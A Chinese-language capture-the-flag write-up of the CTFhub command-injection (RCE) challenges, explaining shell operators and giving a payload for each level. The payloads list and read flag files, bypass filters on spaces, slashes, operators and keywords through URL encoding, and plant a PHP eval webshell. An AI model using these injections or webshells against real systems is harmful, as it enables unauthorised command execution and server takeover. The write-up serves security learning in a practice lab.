文章目录



RCE

在开始之前我们进行一些简单的了解,其实我也是做题做到后面才发现一些知识是必要去掌握的????‍♂️????‍♀️????‍♀️????‍♂️????‍♀️????‍♀️

知识点-这里最好了解一下

RCE分为远程命令执行ping和远程代码执行evel。

漏洞出现的原因:没有在输入口做输入处理。

  1. 我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。
  2. 一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。
  3. 其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。

其中对于不同系统的命令指示又有着不同的命令符:

对于Windows系统

1. “|”:直接执行后面的语句。
2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

对于Linux系统

. “;”:执行完前面的语句再执行后面的语句。
. “|”:显示后面语句的执行结果。
. “||”:当前面的语句执行出错时,执行后面的语句。
. “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

命令注入

CTFhub-RCE_运算符

既然提示输入IP让我们输入本地试试

127.01.01.1

CTFhub-RCE_web_02

得到显示后,尝试得到该路径下文件

127.01.01.1&ls

CTFhub-RCE_web_03

获取文件内容信息

127.01.01.1&cat 120731029228103.php

CTFhub-RCE_linux系统_04

没有结果,这里可能是文件中包含特殊符号,使用管道运行base64加密内容

127.01.01.1&cat *.php | base64

CTFhub-RCE_windows系统_05

尝试base64解密

CTFhub-RCE_运算符_06

这里还有第二种方法,利用命令执行写入一句话木马

127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php

因为环境问题,昨天还可以今天就不行了,但是方法是可行的!????????

过滤cat

本文开始前先贴出一些小知识:

linux查看文本的命令

  • ​cat​​ 由第一行开始显示内容,并将所有内容输出
  • ​tac​​ 从最后一行倒序显示内容,并将所有内容输出
  • ​more​​ 根据窗口大小,一页一页的现实文件内容
  • ​less​​ 和​​more​​类似,但其优点可以往前翻页,而且进行可以搜索字符
  • ​head​​ 只显示头几行
  • ​tail​​ 只显示最后几行
  • ​nl​​ 类似于cat -n,显示时输出行号
  • ​tailf​​ 类似于tail -f

showtime

CTFhub-RCE_php_07

根据上题的思路继续进行

127.0.0.1

CTFhub-RCE_linux系统_08

检索目录

127.0.0.1&ls

CTFhub-RCE_运算符_09

先试试cat是否可以使用

127.0.0.1&cat flag_30210295964775.php

CTFhub-RCE_windows系统_10

好吧看来是不行了

试试上一题讲到的一句话木马上传

127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php

CTFhub-RCE_windows系统_11

得到flag

CTFhub-RCE_linux系统_12

过滤空格

CTFhub-RCE_php_13

过滤空格可以使用​​/**/​​ 或者​​<​​代替

127.0.0.1/**/&/**/ls

CTFhub-RCE_windows系统_14

使用cat进行获取

127.0.0.1/**/&/**/cat/**/flag_12333170278981.php

CTFhub-RCE_web_15

没有结果,获取flag文件下base64密文

127.0.0.1|cat<flag_12333170278981.php|base64

CTFhub-RCE_windows系统_16

解密CTFhub-RCE_windows系统_17

过滤目录分隔符

CTFhub-RCE_php_18

解题思路:

1、既然​​’/‘​​无法使用那我们可以使用cd 进入文件夹中

2、对管道进行使用base64加密

按照惯例对题目文件目录进行查看

127.0.0.1&ls

CTFhub-RCE_php_19

cd进入文件目录

cd 进入flag_is_here目录,

ls 显示flag_is_here目录里的内容。

127.0.0.1;cd flag_is_here;ls

CTFhub-RCE_linux系统_20

进入该文件中获取信息

1、​​cd​​ 进入文件

2、​​cat​​ 获取文件内容

3、​​base64​​进行加密显示内容

127.0.0.1;cd flag_is_here;cat flag_11328226429806.php|base64

CTFhub-RCE_linux系统_21

进行解密CTFhub-RCE_windows系统_22

过滤运算符

CTFhub-RCE_linux系统_23

  1. 这里过滤了,​​|和&​​两个运算符,这两种运算符在这里是无法执行后面的命令
  2. 没事问题不大????‍????????‍????????‍????????‍????我们可以使用​​;​​分隔运算符进行命令

老样子,先检索目录吧

127.0.0.1;ls

CTFhub-RCE_运算符_24

这就把flag文本文件展现了出来,那就cat 文本内容

127.0.0.1;cat flag_14322672312813.php

CTFhub-RCE_windows系统_25

哇哦,flag呢????????????????不要急,这次我们不用base64对内容加密获取了,我们来看看文件的源码,看看藏在哪CTFhub-RCE_php_26

这不是出来了

由于对​​|​​进行过滤了,直接对管道进行base64加密

127.0.0.1;base64 flag_14322672312813.php

CTFhub-RCE_linux系统_27

进行解密CTFhub-RCE_php_28

综合练习

对于过滤情况的题,我发现了一个宝藏!!!

url补充表

CTFhub-RCE_php_29

CTFhub-RCE_web_30

接下来我们来进行解题吧CTFhub-RCE_php_31

可以看到本题过滤了:​​/ \ & ; cat flag ctfhub​​这些运算符

在本题中

1、使用%0a代替换行符
2、使用%09a替代TABJ补充被过滤的flag
3、%5c 代替 \(用 \ 来分隔开 cat ,因为 cat 也被过滤了)

检索目录

127.0.0.1%0als

CTFhub-RCE_运算符_32

进入到FLAG文件中

127.0.0.1%0als

CTFhub-RCE_windows系统_33

这里%09用于补充被过滤掉的flag

接下看我们查看flag_324582491729512.php的内容信息

127.0.0.1%0acd%09*_is_here%0aca%5ct%09*_324582491729512.php
在这里因为cat被过滤了因此需要%5c将cat分隔开绕过过滤

CTFhub-RCE_web_34

查看源代码

CTFhub-RCE_web_35

或者直接对管道进行base64加密

127.0.0.1%0acd%09*_is_here%0abase64%09*_324582491729512.php

CTFhub-RCE_web_36

解密CTFhub-RCE_php_37